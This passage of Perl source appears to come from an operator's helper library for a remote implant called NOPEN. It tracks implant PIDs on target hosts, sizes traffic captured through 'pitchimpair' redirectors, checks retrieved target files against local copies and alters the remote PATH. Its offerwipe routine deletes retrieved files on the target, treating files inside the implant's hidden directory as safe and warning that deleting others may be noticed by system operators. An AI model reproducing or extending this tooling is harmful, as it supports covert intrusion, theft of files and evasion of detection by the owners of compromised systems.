	eval "delete \$$newvarname"
	  if  ($clearmatch or (length $value == 0));
	next;
      }
#      dbg("BEFORE:NEWHOSTVAR:Got setvaralready{safestr($newvarname)}=".
#	  $setvaralready{safestr($newvarname)});

      # ASSERT: All $gotnewhash's looped with next already, these
      # are scalars.
      if ($clearmatch or (length $value == 0)) {
	eval "undef \$$newvarname";
	next;
      }

#      dbg("1BEFORE ck varname=$newvarname= varfile=$varfile=");
      next if ( $gotnewglobal_var and !$onglobal);
#      dbg("1MIDDLE ck varname=$newvarname= varfile=$varfile=");
      next if ((!$gotnewglobal_var) and $onglobal);
#      dbg("1 AFTER ck varname=$newvarname= varfile=$varfile=");





      next if ($setvaralready{safestr($newvarname)}++);
#dbg("setvaralready is:setvaralready{safestr($newvarname)}==".$setvaralready{safestr($newvarname)});
#      dbg("AFTER:NEWHOSTVAR:Got setvaralready{safestr($newvarname)}=".
#	  $setvaralready{safestr($newvarname)});
      $contentscalar .= "\$$newvarname = \"$value\";\n";
#dbg("NHV processing $newvarname == $value onglobal=$onglobal= \n\nstill here\n\n contentscalar=$contentscalar=");
    }
    # ASSERT: The $*content vars have hash and scalar content
    # for the current $varfile only.
    # ASSERT: The %allglobalhashes and %allhosthashes store the
    # names of the hashes that need to be cleared in their resp. files,
    # but on first loop 
    while(my $line = <UTILSIN>) {
      next if ($line =~ /^\s*$/);
      my ($linevar) = $line =~ m,^\s*\$([^=]+)\s*=,;
      my ($thishash,$key) = $linevar =~ /(\S+)\s*\{([^\}]+)\}/;
      my $gotlinehash = 1 if ($thishash and $key);
      # Here we skip any hash resets, those are done by %allhashes
      # and only in global for host_ values
      if ($line =~ /^\s*\%(\S+) = \(\);/) {
	my $hashvarname = $1;
	if ($hashvarname =~ /^(gbl|global)_/) {
	  $allglobalhashes{$hashvarname}++;
	} elsif ($hostvarfile) {
	  $allhosthashes{$hashvarname}++;
	}
	next;
      }
      next if ($line =~ /^\#/);
      # We skip variables in UTILSIN that are either the wrong file
      # or are ones we just set above with new values from %variable.
#      dbg("Skipping due to setvaralready{safestr($linevar)}=$setvaralready{safestr($linevar)}") if $setvaralready{safestr($linevar)};
      next if $setvaralready{safestr($linevar)};
      my $skip = 0;
      my $skipcount=0;
#      dbg($skipcount++." skip=$skip= varfile=$varfile onglobal=$onglobal linevar=$linevar=");
      next if $skip;
      foreach my $newvarname (sort keys %variable) {
	my $newvarnameregexp = $newvarname;
	$newvarnameregexp =~ s,\{,\\\{,g;
	$newvarnameregexp =~ s,\},\\\},g;
	my $value=$variable{$newvarname};
	my $clearmatch = 0;
	$clearmatch++ if ($value eq "CLEARALLMATCHING");
#	dbg("2BEFORE ck linevar=$linevar= newvarname=$newvarname= varfile=$varfile=");


# This $skip logic replaced with %setvaralready hash
#	$skip++ if ($newvarname =~ /^(gbl|global)_/ and !$onglobal);
#	dbg($skipcount++." skip=$skip= $newvarname=$newvarname=");
#	dbg("2MIDDLE ck newvarname=$newvarname= varfile=$varfile=");
#	$skip++ if ($newvarname =~ /^host_/ and $onglobal);
#	dbg($skipcount++." skip=$skip=");
#	dbg("2 AFTER ck newvarname=$newvarname= varfile=$varfile=");
#	$skip++ if ($line =~ /^\s*\$$newvarname\s*=/);


#	dbg($skipcount++." skip=$skip=");
	$skip++ if ($clearmatch and $line =~ /^\s*\$\S*$newvarname\S*\s*=/);
#	dbg($skipcount++." skip=$skip clearmatch=$clearmatch");
	if ($skip) {
	  if ($clearmatch or $value = "") {
#	    dbg("UNDEFINING \$$linevar== (had been=".(eval "\$$linevar")."=)");
	    eval "undef \$$linevar";
	  }
	}
#	dbg("varfile=$varfile skip=$skip= for line=$line=")if $skip;
	last if $skip;
      }
      next if $skip;
#      dbg("FINAL:NEWHOSTVAR:Got setvaralready{safestr($linevar)}=".$setvaralready{safestr($linevar)});
      next if $setvaralready{safestr($linevar)}++;
#      dbg("PROCEEDING:NEWHOSTVAR:Got setvaralready{safestr($linevar)}=".$setvaralready{safestr($linevar)});
      # ASSERT: Setting this value for the first time in this $varfile,
      # (regardless of hash or scalar, global or not).

      #dbg("Keeping: $line");
#      my ($linevar) = $line =~ /\s*\$([^=]+)\s*=/;
      my ($gothostvar,$gotglobal_var) = ();
      $gothostvar = 1 if ($linevar =~ /^host_/);
      $gotglobal_var = 1 if ($linevar =~ /^(global|gbl)_/);
      if ($gotlinehash) {
	if ($gotglobal_var) {
	  # Host file first, if %allhosthashes set for this guy no need to here
	  $allglobalhashes{$thishash}++
	    unless $allhosthashes{$thishash};
	  $contenthash .= $line
	    if ($onglobal);
	} else {
	  # Must be either $gothostvar or a var without host_ or gbl_
	  $allhosthashes{$thishash}++
	    unless $allglobalhashes{$thishash};
	  $contenthash .= $line
	    if (!$onglobal);
	}
      } else {
	$contentscalar .= $line
	  if (($onglobal and $gotglobal_var) or
	      (!$gotglobal_var and !$onglobal));
      }
    }
    close(UTILSIN);
    open(UTILSOUT,">$varfile.new.$$");
    # Hash clearing ONLY in global
    if ($onglobal) {
      print UTILSOUT "# HASHES -- CLEAR ALL\n";
      print UTILSOUT "\n# First globals\n";
      foreach my $hash (sort keys %allglobalhashes) {
	print UTILSOUT "\%$hash = ();\n";
      }
      print UTILSOUT "\n# Then hosts\n";
      foreach my $hash (sort keys %allhosthashes) {
	print UTILSOUT "\%$hash = ();\n";
      }
    }
    print UTILSOUT "\n# HASHES -- VALUES\n";
#    print UTILSOUT $contenthash;
    print UTILSOUT join("\n",sort split(/\n/,$contenthash));
    print UTILSOUT "\n\n\n\# SCALARS\n";
#    print UTILSOUT $contentscalar;
    print UTILSOUT join("\n",sort split(/\n/,$contentscalar));
    print UTILSOUT "\n\n";
    close(UTILSOUT);
#    preservefile("$varfile.$$",$varfile);
    # Confirm good syntax, if so we save it
    my $testresult = "";
    $testresult = `perl -c "$varfile.new.$$" 2>&1` ;
#dbg("testresult=$testresult=\n".
#    "IN newhostvar(@_) with\n\n".
#    "varfile=$varfile=\n".
#    "perl -c $varfile.new.$$ 2>&1\n".
#    `perl -c "$varfile.new.$$" 2>&1`.
#    "\n\nCONTENTS\n========\n".
#    `ls -al $varfile.new.$$ 2>&1 ; cat  $varfile.new.$$ 2>&1` );
    if ($testresult =~ /syntax OK/) {
      unlink("$varfile.$$",$varfile);
      rename("$varfile.new.$$",$varfile);
      #dbg("newhostvar(@_) done, $varfile now contains:\n==\n".
      #`cat $varfile`."==============================================================================");
    } else {
      mywarn("Unable to set new variable in $varfile with newhostvar(@_): $testresult")
	unless ($calledviacommandline);
    }
  }

#  foreach $testvarfile (keys %contenthash) {
#    my $key = $testvarfile;
#    my $onglobal = 1 if ($testvarfile =~ /global/);
#    $testvarfile .= ".TESTING";
#    preservefile("$testvarfile.new.$$");
#    open(UTILSOUT,">$testvarfile.new.$$");
#    print UTILSOUT "\n# HASHES -- VALUES\n";
#    print UTILSOUT $contenthash{$key};
#    print UTILSOUT "\n\n\# SCALARS\n";
#    print UTILSOUT $contentscalar{$key};
#    close(UTILSOUT);

#  }

  # Must always do global first.
  do $global_varfile if ($global_varfile and -f $global_varfile);
  do $hostvarfile if ($hostvarfile and -f $hostvarfile);

#OLD:  # We reset opuser and oppasswd in $global_varfile if need be
#  if ($doglobal and $varfile ne $global_varfile) {
#    copy($global_varfile,"$global_varfile.$$");
#    open(UTILSIN,"$global_varfile.$$");
#    open(UTILSOUT,">$global_varfile.new.$$");
#    print UTILSOUT "\$gbl_opuser = \"$gbl_opuser\";\n";
#    print UTILSOUT "\$gbl_oppasswd = \"$gbl_oppasswd\";\n";
#    # Probably no other vars in here, but maybe someday getopdata will
#    # use it more so we save others as is.
#    while(my $line = <UTILSIN>) {
#      next if $line =~ /^\s*\$op(user|passwd)\s*=/;
#      print UTILSOUT $line;
#    }
#    close(UTILSIN);
#    close(UTILSOUT);
#    unlink("$global_varfile.$$",$global_varfile);
#    rename("$global_varfile.new.$$",$global_varfile);
#    # Any need to do this $global_varfile? NO: The hostvarfile may have overridden
    # some globals before we will let that stand. Commented out in case 
    # we change that later:
    # do $global_varfile;
#  }
}

sub safestr {
  local ($str) = (@_);
  $str =~ s,\s*$,,g;
  $str =~ s,\n,NEWL,g;
  $str =~ s,\r,CRRL,g;
  $str =~ s,\{,LBRK,g;
  $str =~ s,\},RBRK,g;
  $str =~ s,\",DBQT,g;
  $str =~ s,\\,BKSLSH,g;
  $str =~ s,\@,\\@,g;
#  $str =~ s,\$,\\$,g;
#  dbg("in safestr(@_) returned =$str=");
  return $str;
}
sub escapestr {
  local ($str) = (@_);
  $str =~ s,\n,\\n,g;
  $str =~ s,\r,\\r,g;
  $str =~ s,\{,\\\{,g;
  $str =~ s,\},\\\},g;
  $str =~ s,\",\\\",g;
  $str =~ s,\\,\\\\,g;
  $str =~ s,\@,\\\@,g;
  $str =~ s,\$,\\\$,g;
#  dbg("in escapestr(@_) returned =$str=");
  return $str;
}
sub mydo {
  # Given an $autoscript and new @ARGV = @newargv:
  #   set global @ARGV,
  #   clear all opts, and
  #   use do to call the $autoscript
  # Reset @ARGV upon exit of the do.
  # Returns 0 on failure, otherwise returns the
  # return value of $autoscript.
  # SIDE EFFECT: Original $opt_* options set by calling
  # process are gone, cleared again before returning.
  local ($autoscript,@newargv) = @_;
  #dbg("in mydo(@_) prog=$prog autodone=$autodone printlater=$printlater=");
  my @resetARGV = @ARGV;
  my $savedVER = $VER if defined $VER;
  $autoscript = "$opetc/$autoscript"
    if -f  "$opetc/$autoscript";
  $autoscript = "$opetc/auto$autoscript"
    unless -f $autoscript;
  unless (-f $autoscript) {
    my $or = " or auto$autoscript" unless $autoscript =~ /^auto/;
    mywarn("Unable to run mydo(@_),\n\n".
	   "autoscript $autoscript$or does not exist in $opetc");
    sleep 5;
    return 0;
  }
  unless (-x $autoscript) {
      my $or = "";
      mywarn("Unable to run mydo(@_),\n\n".
	     "autoscript $autoscript$or is not executable:\n".
	     `ls -al $autoscript`);
      sleep 5;
      return 0;
  }
  my $testresult = "";
  $testresult = `perl -c "$autoscript" 2>&1` ;
  unless ($testresult =~ /syntax OK/) {
      my $or = "";
      mywarn("Unable to run mydo(@_),\n\n".
	     "autoscript $autoscript$or is not valid perl:\n".
	     $testresult);
      sleep 5;
      return 0;
  };
  @ARGV = @newargv;
#dbg("\n\n\nABOUT TO DO WITH autoscript=$autoscript= DBG willautoport=$willautoport= socket=$socket=  ARGV=(@ARGV)\n\n\n");
#offerabort("\n\n\nABOUT TO DO WITH autoscript=$autoscript= DBG willautoport=$willautoport= socket=$socket=  ARGV=(@ARGV)\n\n\n");
  clearallopts();
  do $autoscript;
  my $retval = $?;
  #dbg("HERE retval=$retval=");
#  offerabort("HERE retval=$retval=");
  clearallopts();
  @ARGV = @resetARGV;
  $VER = $savedVER if defined $savedVER;
  return $retval;
}

sub bwsofar_retired {
  # Returns how many MEGABYTES we have received thus far
  # from our bwmonitor.txt file.
  # If sent any args, returns array of ($rx,$tx) bytes.
  local ($both) = (@_);
  my $bwfile = "$opdown/bwmonitor.txt";
  return "" unless -s $bwfile;
  my $rstring =  `tail $bwfile | grep RX | tail -1` ;
  my ($rxb,$rxu,$runit) = $rstring
    =~ /RX bytes:\s*(\d+)\s+\(([\d\.]+)\s*(\S)\S+/;
  unless ($rxb) {
      $runit = "M";
      ($rxb,$rxu) = $rstring
    =~ /RX\s*(\d+)\s+\(([\d\.]+)\)/;
  }
  #dbg("rx=$rx unit=$runit=");
  return 0 unless $runit =~ /[GKM]/;
  my $rxmb = sprintf("%.2f",$rxb / 1024 / 1024) ;
  return $rxmb unless $both;
  my $tstring =  `tail $bwfile | grep TX | tail -1` ;
  my ($txb,$txu,$tunit) = $tstring
      =~ /TX bytes:\s*(\d+)\s+\(([\d\.]+)\s*(\S)\S+/;
  unless ($txb) {
      ($txb) = $tstring
	  =~ /TX\s*(\d+)\s/;
  }
  my $txmb = sprintf("%.2f",$txb / 1024 / 1024) ;
  return ($rxmb,$txmb);
}

sub bwsofar {
  # Returns how many MEGABYTES we have received thus far
  # in the most recent pcap file for a pitchimpair.
  # If sent an IP arg, limit responses to only those that
  # match the IP sent.
  local($whichip) = (@_);
  ($gbl_project,$gbl_targets,@gbl_projectlist) =
    opnotesprojects(\%gbl_projectshash,
		    \%gbl_aliaseshash,
		    \%gbl_depthhash,
		    \%gbl_hostnamehash,
		    \%gbl_statushash,
		    \%gbl_typehash,
		    \%gbl_commentshash,
		    \%gbl_targetline,
		   );

  unless (opendir(PCAPDIR,"/home/black/tmp/pcaps")) {
    mydie("Cannot opendir(PCAPDIR,/home/black/tmp/pcaps)");
  }
  my @allpcapfiles = readdir(PCAPDIR);
  closedir(PCAPDIR);

  foreach my $ip (keys %requestedpitchips) {
    foreach my $pcapfile (@allpcapfiles) {
      next if ($pcapfile =~ /info$/);
      next unless ($pcapfile =~ /^unixdump\./);
      next unless ($pcapfile =~ /_${ip}_/);
      my $size =  -s "/home/black/tmp/pcaps/$pcapfile";
#offerabort(`cd /home/black/tmp/pcaps ; ls -lrt $pcapfile`."\n".	   "size=$size=");
      $ipsum{$ip} += $size;
      push(@pitchcapfiles,$pcapfile)
    }
  }
  my $allpitchsum = 0;
  foreach my $ip (keys %requestedpitchips) {
    $allpitchsum += $ipsum{$ip};
  }
  unless ($whichip) {
    foreach my $ip (keys %requestedpitchips) {
      $whichip .= " and" if $whichip;
      $whichip .= " $ip";
    }
    $whichip = "all pitchimpair IPs$whichip";
#    my $whichfile = `cd /home/black/tmp/pcaps ; ls -lrt @pitchcapfiles | tail -1`;
#    ($whichip) = $whichfile =~ /_([^_]*)_/;
  }
  #dbg("pcap files for $whichip:\n".
  #    `cd /home/black/tmp/pcaps ; ls -alrt @pitchcapfiles`
  #   );
  return int(100*bwsofar_retired())/100 unless ($allpitchsum);
  return (int(100*$allpitchsum/1024/1024)/100,
	  keys(%requestedpitchips),
	 ) ;
}

sub reusefile {
  # Using the gen_[abc] global generics temporarily, we write out
  # $tmpfile.pl with content sent to us, or if no content
  # sent, we read from $tmpfile.pl with do and return two scalars
  # and an array that were set by it.
  local($ru_file,$comment,$scalar1,$scalar2,@array) = (@_);
  if ($scalar1 or $scalar2 or @array) {
    # We write out to $tmpfile.pl the variable content
    unless (open(RUOUT,">$ru_file.pl")) {
      #dbg("BIG PROBLEM: reusefile() cannot write to $ru_file");
      return ();
    }
    $scalar1 =~ s/\"/\\\"/g;
    $scalar2 =~ s/\"/\\\"/g;
    print RUOUT "\n#$comment\n\n";
    print RUOUT "\n\$gen_a = \"$scalar1\";\n";
    print RUOUT "\n\$gen_b = \"$scalar2\";\n";
    print RUOUT "\n\@gen_a = (\n";
    foreach (@array) {
      s/\"/\\\"/g;
      print RUOUT "         \"$_\",\n";
    }
    print RUOUT ");\n\n";
    close(RUOUT);
    return ();
  }
  # ELSE WE READ FROM AND RETURN VALUES IN $ru_file
  return () unless -s "$ru_file.pl" and do "$ru_file.pl";
  return($gen_a,$gen_b,@gen_a);
}

sub readarrayfrom {
  # Returns array containing elements from $file, one per line
  # Empty lines and #comments are skipped
  # Elements are chomped (no trailing newline).
  # NOTE: as of 03 APR 2010, nothing is using $refmatch, took that out of -lss.
  # If $refmatch, scalar reference, is supplied,
  # then 1: Skip the first element that equals that value
  #      2: If such match, leave the $$refmatch alone,
  #         if no such match, set it to 0.
  local($file,$refmatch) = (@_);
  my $localmatch = 0;
  my @results = ();
 unless (-s $file and open(LSSIN,$file)) {
   $$refmatch = "" if (defined $refmatch and defined $$refmatch);
   return ();
 }
  while (my $line = <LSSIN>) {
    chomp($line);
    if (defined $refmatch and defined $$refmatch and
	!$localmatch and $line eq $$refmatch) {
      $localmatch = 1;
      next;
    }
    next if (!$line or $line =~ /^\s*\#/);
    push(@results,$line);
  }
  close(LSSIN);
  $$refmatch = ""
    if (!$localmatch and
	defined $refmatch
	and defined $$refmatch);
#dbg("reararrayfrom(@_) returning (@results)");
  return @results;
}

sub myalert {
  # If first argument is NOLOGGING, then even with $autodone set we
  # do not log this to latewarnings (which autonewdone pops up last).
  my $nolog = shift if ($_[0] =~ /NOLOGGING/);
  local ($what,$color,$color2,$what2,$popup) = (@_) ;
  if ($color =~ /^(popup.*)/i) {
    $color = "";
    $popup = $1;
  }
#  dbg("nostdout=$nostdout In myalert(@_)

#color=$color=
#popup=$popup=
#");

  $color = $COLOR_FAILURE unless $color ;
  my $pid = $$;
  $pid .= "($pp_utils)" if $pp_utils;
  $what="${color2}${prog}[$pid]$what2\a: ${color}$what$COLOR_NORMAL";
  dolocalecho($what,$popup);
  if ($autodone and !$nolog) {
    open(MYOUT,">> $opdir/latewarnings.$nopen_rhostname") || return ;
    print MYOUT "$what\n" ;
    close MYOUT;
  }
}#myalert

sub splitload {
  local ($part,$ofparts,$refarray) = (@_);
  # Split @$array into $ofparts parts, set @$array to the $part^th
  # part, discarding the rest.
  return if ($ofparts == 1 or $ofparts == 0);
  my @new = ();
  for (my $i=$part-1;$i<@$refarray;$i+=$ofparts) {
    push(@new,$$refarray[$i]);
  }
  #dbg("new way $part of $ofparts woulda returned new=(@new)");
  @$refarray=@new;
  return;
# OTHER method here no longer used, N chunks 1-i, i+1-j, ..., y+1-M
  my $count = @$refarray;
  my $size = int($count / $ofparts);
  # If this is the last part, take the remaining elements
  my $extra = 0;
  $extra = $count if $part == $ofparts;
  my @newlist = splice(@$refarray,($part - 1) * $size,$size + $extra);
  @$refarray = @newlist;
}#splitload

sub graphic {
  local ($count,$total,$width,$char) = (@_);
  $char = "\#" unless $char;
  # returns a bar graph of $char's, $width wide,
  # with $count/$total % of it full
  $width-=2; # Take off two for the "|" at front/back
  return "" unless $total > 0;
  return sprintf("\|%-${width}s\|",$char x ($width*$count/$total)) ;
}#graphic

sub makepidhash {
  local (@line) = ();
  # Read in $opdown/pid and generate a hash of NOPEN PIDs, with the key
  # being the $nopen_rhostname at time of lookup in lookupnopenpids().
  # FIXME: make use of the hostvar stuff to persist this...
  open(PIDFILE, "< $opdown/pid") or mydie("Can't open $opdown/pid! $!");
  while(<PIDFILE>) {
       next unless /^(.+):\s(\d+)\s\((\d+)\)/;
       #dbg("in makepidhash, \$1 = =$1=, \$2 = =$2=, \$3 = =$3=");
       push @{ $nopenpids{$1} }, $2;
       push @{ $nopenpids{$1} }, $3 unless $3 == $host_initpid;
#       dbg("in makepidhash, $1 = =@{ $nopenpids{$1} }=");
  }
  close(PIDFILE);
}

sub lookupnopenpids() {
  local ($type, $rhostname, $pid) = (@_);
  my @pids = ();
  my @uniquepids = ();
  $rhostname = $nopen_rhostname unless $rhostname;
  # Based on $type, look up either an entire set of NOPEN PIDs 
  # for a given $rhostname, or one or more $rhostnames based on a single
  # PID.
  if ($type == 1) {
    # Return all of the PIDs that we have for a given hostname.
    for my $hostname (keys %nopenpids) {
      next unless $hostname eq $rhostname;
      #dbg("in lookupnopenpids, doing hostname lookup with =$hostname=");
      foreach $pid (@{ $nopenpids{$hostname} }) {
        #dbg("in lookupnopenpids, next PID on =$hostname= is =$pid=");
        push(@pids, $pid);
      }
    }
    @uniquepids = uniqify_array(@pids);
    #dbg("in lookupnopenpids, returning array \@pids = =@uniquepids=");
    return sort by_num @uniquepids;
  }
  return ();
}

sub findpidsfor {
  #OLD  INPUT: $regexp,\@pids,\@pidlines,\@parentpids,\@parentlines,$anchortoken,@psoutput
  # INPUT: $regexp,\%pidlines,\%parentlines,$anchortoken,@psoutput
  #        $regexp is something on the line(s) we are interested in
  #        @psoutput is an array of NOPEN =ps output lines (no <CR>)
  # ASSUME: \S+\s+\d+\s+\d+ will match (user) (pid) (ppid)
  # ASSUME: If $freebsdtarget is true, then use "ps aluxww" instead of =ps
  # RETURN: NIL (contents of referenced arrays are modified)
  #
  local ($regexp,
#	 $pidsref,
$pidlinesref,
#	 $parentpidsref,
$parentlinesref,
	 $anchortoken,
	 @fpf_psoutput) = (@_);
  my ($anchoreol,$anchorskipnum) = ();
  if (length $anchortoken) {
    if ($anchortoken =~ /^EOL(.*)/) {
      $anchortoken = $1;
      $anchoreol = 1 if length($anchortoken);
    }
  }
  foreach (@fpf_psoutput) {
    next unless /$regexp/;
     if (length $anchortoken) {
       if ($anchoreol) {
	 next unless /$anchortoken\s*$/;
       #} elsif {
       } else {
	 next unless /$regexp\s*$anchortoken/ or /$anchortoken\s*$regexp/ ;
       }
     }
    # Most =ps input, it's userNAME PID PPID, on 
    # FreeBSD
    my ($pid,$parentpid) = /^\s*\D+\s+(\d+)\s+(\d+)/;
    if ($freebsdtarget and !$ignorefreebsdsetting) {
      ($pid,$parentpid) = /\d+\s+(\d+)\s+(\d+)/;
    } elsif (!$pid or !$parentpid) {
      ($pid,$parentpid) = /\D+\s+(\d+)\s+(\d+)/;
    }
    $$pidlinesref{$pid} = $_;
#    push(@$pidsref,$pid);

#    push(@$pidlinesref,$_);
#    push(@$parentpidsref,$parentpid);
    if ($freebsdtarget and !$ignorefreebsdsetting) {
      #dbg("in findpidsfor freebsdtarget section");
      #      push(@$parentlinesref,grep /\D+\s+$parentpid/,@fpf_psoutput);
      $$parentlinesref{$parentpid} =
	join("\n",grep /\D+\s+$parentpid\s/,@fpf_psoutput);
    } else {
#      dbg("in findpidsfor NOT-freebsdtarget section looking for \\d+\\s+$parentpid
#fpf_psoutput=(\n".
#	  #join("\n",@fpf_psoutput).
#	  "\n)

#");
      
      $$parentlinesref{$parentpid} =
	join("\n",grep /\D+\s+$parentpid\s+\d/,@fpf_psoutput);
      
      #      push(@$parentlinesref,grep /\D+\s+$parentpid\s+\d/,@fpf_psoutput);
    }
  }

#  dbg("Leaving findpidsfor($regexp,hashes,$anchortoken,PSLISTING) with
#pids        =(".join(" ",keys %$pidlinesref).")
#pidlines    =(".join("\n              ",values %$pidlinesref).")
#parentpids  =(".join(" ",keys %$parentlinesref).")
#parentplines=(".join("\n              ",values %$parentlinesref).")");
}

sub gotlocalcopy {
  # Given input: Single -ls line or remote path,
  # return an array with:
  #    first element is the down/HOST copy (if any),
  #    second element is the down/HOST/via-gs.rsync copy, and
  #    third element is the REMOTE path to the file
  #    fourth element is 1 iff %filesizes is populated and size matches, and
  #    fifth element is the size difference.
  local($remotefile,$localdir,$remotecwd) = (@_);
  # $remotefile sent in can be -ls output, we find
  # the remote filename in that case.
  my $filename = "";
  my ($sizematch,$sizediff) = (0,0);

  unless ($remotefile =~ m,^/,) {
    $filename = $2 if
      ($remotefile =~ 
       m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(/.*), or
       $remotefile =~ 
       m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+[^/]+\s+(\./.*), or
       $remotefile =~ 
       m,(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d+\s+\d+:\d+\s+\d{4}\s+(.*),);
    #dbg("IN gotlocalcopy(@_) remotefile was=$remotefile= filename=$filename=");
    $filename = "$remotecwd/$remotefile"
      if (!$filename and
	  $remotecwd =~ m,^/, and
	  $remotefile !~ m,^/,);
    #dbg("IN gotlocalcopy(@_) remotefile is now=$remotefile= filename=$filename=");
  }
  $filename = $remotefile
    unless $filename;
  # Here we add escape to space if need be in $filename2. The
  # $filesizes{} value has to be set for one of them, we use that.
  my $filename2 = $filename;
  $filename2 =~ s, ,\\ ,g; # Escaped spaces in this one
  return () unless ($remotefile and
		    $nopen_rhostname and
		    -d "$opdown/$nopen_rhostname");
#dbg("Still in gotlocalcopy");
  my ($gotit,$gotviaother,@localdirs)=();
  @localdirs = ("$opdown/$nopen_rhostname/",
		"$opdown/NOSEND/$nopen_rhostname/");
  push(@localdirs,"$opdown/$nopen_rhostname/$dir",
       "$opdown/NOSEND/$nopen_rhostname/$dir");
  # Have to recompute this, might have just been created by the lss -L option.
  @rsyncdirs = split(/\n/,`ls -1d $opdown/$nopen_rhostname/via-gs.rsync* $opdown/NOSEND/$nopen_rhostname/via-gs.rsync* 2>/dev/null`);
  foreach my $rdir (@rsyncdirs) {
      push(@localdirs,$rdir);
      push(@localdirs,"$rdir/$localdir") if $localdir;
  }
  my %dirdone = ();
  foreach my $dir (@localdirs) {
    $dir = "$opdown/$nopen_rhostname/$dir"
      unless ($dir =~ m,$opdown, or
	      $dir =~ m,/current/down,);
    $dir =~ s,/+,/,g;
    $dir =~ s,/$,,g;
    next unless (-d $dir and !$dirdone{$dir}++);
    my $localsize = -s "$dir/$filename";
    #dbg("localsize=$localsize=\nls -al \"$dir/$filename\"".`ls -al "$dir/$filename"`);
    #dbg("localsize=$localsize=\nls -al $dir/$filename".`ls -al $dir/$filename`);
    my $usesize = $filesizes{$filename};
    $usesize = $filesizes{$filename2} unless $usesize;
    if (-e "$dir/$filename") {
      $sizediff = $usesize - -s "$dir/$filename";
      $gotviaother = "$dir/$filename";
      $sizematch = 1 if ($usesize and
			 $usesize == -s "$dir/$filename");
    } elsif (-e "$dir/".basename($filename)) {
      $sizediff = $usesize - -s "$dir/".basename($filename);
      $gotviaother = "$dir/".basename($filename);
      $sizematch = 1 if ($usesize and
			 $usesize == -s "$dir/".basename($filename));
    }
    last if $gotviaother;
  }


  # 20101029: These $filenames have some things escaped, like spaces, but here
  # in our perl code there's no need for that, so we remove them all. That means
  # files with an actual backslash in them CANNOT be processed this way.
  # RE-using $filename2 here, for different purpose, this time we REMOVE escapes
  $filename2 = $filename;
  $filename2 =~ s,\\,,g;
  my $usesize = $filesizes{$filename};
  $usesize = $filesizes{$filename2} unless $usesize;
  
  if (-e "$opdown/$nopen_rhostname/$filename2") {
    $gotit =  "$opdown/$nopen_rhostname/$filename2";
    my $locsize = -s $gotit;

    $sizediff = $usesize - $locsize;
    $sizematch = 1 if ($usesize and
		       $usesize == -s $gotit);
  }
  $gotit =~ s,/+,/,g;
  $gotviaother =~ s,/+,/,g;
  $filename2 =~ s,/+,/,g;
  return ($gotit,$gotviaother,$filename2,$sizematch,$sizediff);
}

sub removefrompath {
  local($path,@removedir) = (@_);
  return "" unless $socket;
  $path = ":$path:";
  foreach my $removedir (@removedir) {
    $path =~ s,:$removedir:,:,g;
  }
  $path =~ s/^://; $path =~ s/:$//;
  doit("-setenv PATH=$path");
  return $path;
}

sub isbeneathhidden {
  local ($testdir) = (@_);
  my $host_regexp = "";
  foreach my $dir (keys %host_hiddendirs) {
    $host_regexp .= "|" if $host_regexp;
    $host_regexp .= $dir;
  }
  $host_regexp =~ s,([\^\+\*\.\\\[\]]),\\$1,g;

#offerabort("host_regexp=$host_regexp= testdir=$testdir=");
  return 1 if ($testdir =~ m,$host_regexp,);
  return 0;
}

sub offerwipe {
  # Offer to wipe target files @wipefiles.
  # Optionally, confirm local existence and size before doing so.
  # Optionally, do NOT prompt about delete if it is in the hidden directory.
  # If files not within $host_hiddendir, SCREAM LOUDLY THAT THIS MIGHT BE BAD.
  #dbg("In offerwipe(@_)");
  local($options,@wipefiles) = (@_);
  my $wipecount = @wipefiles;
  my ($lslist,@newlist,$confirmsize,$warning,$still,$withoutprompt) = ();
  my $default = "Y";
  my $rm = "-rm";
  my (%safewipe,%iffywipe,@iffyfiles) = ();
  if ($options =~ /CONFIRMSIZE/) {
    $confirmsize = 1;
    $options =~ s/CONFIRMSIZE//;
  }
  if ($options =~ /NOBUILTINRM/) {
    $rm = "rm";
    $options =~ s/NOBUILTINRM//;
  }
  if ($options =~ /LISTIS-ls/) {
    processnopenls(\@newlist,($tailbytes or $headbytes),$getempty,$maxsize,$output,$nopenlines,@wipefiles) ;
    @wipefiles = @newlist;
    $options =~ s/LISTIS-ls//;
  }

  ($withoutprompt) = $options =~ /(WITHOUTPROMPT)/;
  $options =~ s/WITHOUTPROMPT//;
  foreach (@wipefiles) {
    if ($targetcwd =~ m,^/, and
	!m,^/,) {
      s,^,$targetcwd/,;
    }
    if (isbeneathhidden($_)) {
      $safewipe{$_}++;
    } else {
      $iffywipe{$_}++;
    }
  }
  @wipefiles = keys %safewipe;
  my @iffyfiles = keys %iffywipe;
#  dbg("In offerwipe(@_) with
#withoutprompt=$withoutprompt=
#wipefiles=(@wipefiles)
#iffyfiles=(@iffyfiles)
#");
  my $iffycount = @iffyfiles;
  my ($ans,$longans) = ();
  if (@iffyfiles) {
    my $problem = "are not within our hidden directory";
    $problem = "reside on an UNIMPLANTED system" unless $host_hiddendir;
    ($ans,$longans) = mygetinput
      ($COLOR_FAILURE.
       "\n\n$COLOR_FAILURE  WARNING!!$COLOR_WARNING  WARNING!!$COLOR_FAILURE  WARNING!!$COLOR_WARNING  WARNING!!$COLOR_FAILURE  WARNING!!$COLOR_WARNING  WARNING!!$COLOR_NORMAL$COLOR_FAILURE  WARNING!!\n\n".
       $COLOR_FAILURE.
       "\n\t".join("\n\t",@iffyfiles).
       "\n$COLOR_NOTE\n".
       "$prog has been tasked to$COLOR_FAILURE DELETE THESE$COLOR_NOTE target files.\n\n".
       "These $iffycount files (of $wipecount just retrieved and about to\n".
       "be deleted on target) $problem,\n".
       "and so deleteing them may be noticed by the system operators.\n".
       "Super secret tip for those who actually read these prompts:\n".
       "Enter \"YESYES\" here to avoid several are you sure prompts.\n\n".
       "Do you really want to delete them?",
       "N"
      );
    unless ($longans eq "YESYES") {
      if ($ans eq "y") {
	($ans) = mygetinput
	  ("Really?",
	   "N"
	  );
	if ($ans eq "y") {
	  ($ans) = mygetinput
	    ("Seriously, last chance. ARE YOU SURE?",
	     "N"
	    );
	}
      }
    }
    if ($ans eq "y") {
      push(@wipefiles,@iffyfiles);
      $warning = "\n$COLOR_FAILURE\n".
	"WARNING: Some of these files are NOT in our hidden directory\n\n";
      $still = " still";
      $default = "N";
    } else {
      myalert("OK, then, skipping the delete for these $iffycount files.");
    }
  }
  $wipecount = @wipefiles;
  return unless (@wipefiles);
